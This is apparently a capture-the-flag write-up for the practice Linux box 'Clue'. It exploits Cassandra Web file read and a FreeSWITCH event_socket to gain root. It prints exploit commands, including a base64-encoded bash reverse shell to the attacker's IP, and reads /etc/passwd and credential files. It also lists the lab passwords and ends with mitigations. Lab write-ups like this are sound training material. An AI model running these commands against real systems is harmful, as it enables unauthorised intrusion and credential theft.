Clue

Introduction

On this hard PG practice Linux box, I discovered a Cassandra Web interface vulnerable to Local File Inclusion (LFI). Using LFI, I extracted the FreeSWITCH event_socket password and gained a shell as the freeswitch user. Further LFI exploitation allowed me to read the cmdline of the Cassandra Web process, revealing another password. This enabled lateral movement to the cassie user. Under cassie’s home directory, I found an id_rsa private key, which provided root access.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 22

Version - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

We usually skip SSH.

Port 139/445

• smbclient

  

• nxc

  

Grepping inside of backup directoty for pass I found:

Port 8021

After a bit of googling I found the location of freeswitch credentials which turn out to be default

Web

Port 80

Access is forbidden.

Port 3000

It is a Cassandra database that uses NoSQL, I found this one vulnerability for it CVE-2021-44521 it mentions if user_defined_functions is true we can exploit it. We need to check in cassandra.yaml file. As we have SMB access I checked cassandra.yaml and saw that it is not enabled.

To find sensitive files of cassandra I have looked at /var/lib/cassandra but it is empty:

Exploitation - shell as freeswitch

I am gonna try Cassandra Web 0.5.0 - Remote File Read

python3 cassandra.py 192.168.154.240 -p 3000 /etc/passwd

It really works.

As it is also mentioned in an exploit I read cmdline and found cassie password:

python3 cassandra.py 192.168.154.240 -p 3000 /proc/self/cmdline

(these creds are for auth to the running apache cassandra database server)

using this vulnerability I tried reading event_socket_conf.xml file to get an RCE using previous exploit.

python3 cassandra.py 192.168.154.240 -p 3000 /etc/freeswitch/autoload_configs/event_socket.conf.xml

I changed the password in exploit file and tried to run commands. IT does not display outputs of commands for some reason but I think they are executed because response length are different for different commands.

python3 47799.py 192.168.154.240 "id"
python3 47799.py 192.168.154.240 "ls"

I am gonna try to see if target can reach my host:

sudo tcpdump -i tun0 icmp

python3 47799.py 192.168.154.240 "ping -c 1 192.168.45.214"

Yes target can reach my host, I am gonna try to get a reverse shell.

I got a shell this way:

echo -n 'bash -c "bash -i >&/dev/tcp/192.168.45.214/80 0>&1"' | base64
python3 47799.py 192.168.154.240 "echo YmFzaCAtYyAiYmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguNDUuMjE0LzgwIDA+JjEi | base64 -d |bash"

Shell as cassie

I used already known password for me to get a shell as cassie.

Let’s make it interactive using python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Reading /etc/ssh/sshd_config now I see why I couldn’t get ssh access with this password.

I found id_rsa file under cassie directory I am gonna use it for anthony and cassie it didn’t work for both of them.

Shell as root

I used id_rsa for root user and it worked.

Credentials

cassie : SecondBiteTheApple330 #cassandra web database authentication

StrongClueConEight021 #event_socket pass

Mitigation

• Patch known LFI vulnerabilities in web interfaces.
• Avoid using plaintext credentials in process arguments or config files.
• Apply strict access controls on sensitive directories like user home.
• Regularly rotate SSH keys and monitor for unauthorized ones.
• Restrict FreeSWITCH access and secure event_socket configurations.